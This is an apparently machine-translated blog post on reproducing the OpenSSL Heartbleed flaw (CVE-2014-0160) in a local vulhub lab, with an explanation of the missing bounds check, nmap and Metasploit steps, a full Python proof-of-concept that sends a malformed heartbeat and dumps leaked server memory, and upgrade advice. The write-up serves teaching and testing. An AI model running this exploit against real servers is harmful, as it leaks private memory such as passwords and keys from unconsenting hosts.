(CVE-2014-0160) OpenSSL heart dripping vulnerability

Posted by weevil on Wed, 09 Feb 2022 03:32:35 +0100

catalogue

Heartbleed

Vulnerability description

Vulnerability principle

Loophole recurrence

Attack using MSF framework

Reproduce using official POC

Repair scheme

Heartbleed

Heartbleed (English: heartbleed), also referred to as heartbleed vulnerability, is a security vulnerability that appears in the encryption library OpenSSL, which is widely used to implement the transport layer security (TLS) protocol of the Internet. It was introduced into the software in 2012 and first disclosed to the public in April 2014. As long as a defective OpenSSL instance is used, both the server and the client may be attacked. The reason for this problem is that the input is not properly verified when implementing the heartbeat extension of TLS (lack of boundary check), so the name of the vulnerability comes from "heartbeat". The program error belongs to buffer filtering, that is, more data can be read than should be allowed.

Vulnerability description

Heartbleed vulnerability. This serious flaw (CVE-2014-0160) is caused by the failure to correctly check the boundary before memcpy() calls the victim user's input as the length parameter. The attacker can trace the 64KB cache allocated by OpenSSL, copy the byte information beyond the necessary range into the cache, and then return the cache content. In this way, the memory content of the victim will be leaked at the rate of 64KB each time.

Vulnerability principle

The problem of OpenSSL "heart bleeding" vulnerability occurs in the process of OpenSSL processing TLS heartbeat. The process of TLS heartbeat is: A sends A request packet to B, and B reads the content (data) of the packet after receiving the packet, and returns A response packet containing the content of the request packet. The content (data) of the request package contains information such as the type and data length of the package.

When B receives A's request packet, it does not verify the actual length of A packet, but simply takes the length specified in the request packet data as the actual length of data. Therefore, when the length specified in the request packet is different from the actual length of the request packet data, the problem arises. Suppose A constructs A request packet and its actual content length is only 1, but tells B that its length is 65535, then B will treat the content of A as 65535 after receiving the packet. In fact, the problem is not serious here. The most serious problem is that the heartbeat response packet also needs to be attached with all the contents of the request packet, This requires the program to copy the data of the request packet from its memory to the memory of the response packet.

This is A big problem. When copying, the program thinks that the content length of package A is 65535 bytes. As A result, package A actually has only 1 byte in memory. Therefore, the program not only copies the content of package A, but also "foolishly" copies the additional 65534 bytes after the location of package A data in memory into the response package, and sends the response package back to A, So A easily obtains the 65534 bytes of data in B's memory. Imagine that if the 65534 bytes of data include some sensitive information, the consequences will be very serious. Moreover, A can simply send heartbeat packets continuously to obtain n 65534 bytes of data in B's machine memory. This vulnerability is worthy of being the "best vulnerability" in 2014.

Loophole recurrence

Target: vulhub 192.168.41.138

Attacker: kali 192.168.41.142

Open environment

docker-compose up -d
docker ps

Successfully opened

We access the mapped port on the host, as follows

Before collecting information, we first use Nmap for scanning,

nmap -sV -T4 192.168.41.138

We use Nmap vulnerability scanning script to scan port 443, and the detection is as follows:

As you can see, the display can be used. Next, two reproduction steps are introduced.

Attack using MSF framework

msfconsole

search heartbleed

 use auxiliary/scanner/ssl/openssl_heartbleed or use 0

Then show options to view the configuration items

The configuration required for setting is as follows:

It is explained here that verbose is set to true to {see the leaked information; Then run, and the results are as follows:,

Here you can see the 64KB information of the target (if someone is logging in to the web application at this time, you can also directly catch the account password and other information).

MSF reproduction complete.

Reproduce using official POC

Let's check the vulhub target environment and the built-in scripts in this directory.

The script code is as follows:

import sys
import struct
import socket
import time
import select
import binascii
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))

hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s: bytes):
    for b in range(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % c for c in lin)
        pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)
        print('  %04x: %-48s %s' % (b, hxdat, pdat))
    
    print("")

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = b''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print('Unexpected EOF receiving record header - server closed connection')
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print('Unexpected EOF receiving record payload - server closed connection')
        return None, None, None
    print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print('No heartbeat response received, server likely not vulnerable')
            return False

        if typ == 24:
            print('Received heartbeat response:')
            hexdump(pay)
            if len(pay) > 3:
                print('WARNING: server returned more data than it should - server is vulnerable!')
            else:
                print('Server processed malformed heartbeat, but did not return any extra data.')
            return True

        if typ == 21:
            print('Received alert:')
            hexdump(pay)
            print('Server returned error, likely not vulnerable')
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print('Connecting...')
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print('Sending Client Hello...')
    sys.stdout.flush()
    s.send(hello)
    print('Waiting for Server Hello...')
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print('Server closed connection without sending Server Hello.')
            return
        # Look for server hello done message.
        if typ == 22 and pay[0] == 0x0E:
            break

    print('Sending heartbeat request...')
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

We check the required parameters and enter the following command to run the script code on the target:

python ssltest.py 192.168.41.138 -p 443

Successful use.

Don't forget to close the range:

docker-compose down

docker ps

exit 

Repair scheme

OpenSSL "bleeding heart" vulnerability (CVE-2014-0160) affected OpenSSL version:

  • OpenSSL 1.0.2-beta
  • OpenSSL 1.0.1 - OpenSSL 1.0.1f

To solve this vulnerability, the simple and crude way is to upgrade OpenSSL software. It is recommended that the server administrator use version 1.0.1g or - dopenssl_ NO_ The heartbeats option recompiles OpenSSL to disable vulnerable features until the server software can be updated.

Related articles: https://bwshen.blog.csdn.net/article/details/106879383

 

 

 

 

 

 

 

 

 


 

Topics: OpenSSL SSL security hole